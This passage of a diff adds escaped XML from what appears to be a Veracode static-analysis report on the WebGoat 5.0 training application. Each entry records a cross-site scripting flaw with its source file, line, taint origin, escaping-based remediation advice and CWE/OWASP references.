+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpSplitting.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpSplitting\"
+        functionprototype=\"apache.ecs.Element doHTTPSplitting(session.WebSession)\"
+        functionrelativelocation=\"55\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"221\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"1\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"230\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"241\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"263\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"4\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"172\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"260\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"48\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"80\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"170\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"29\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
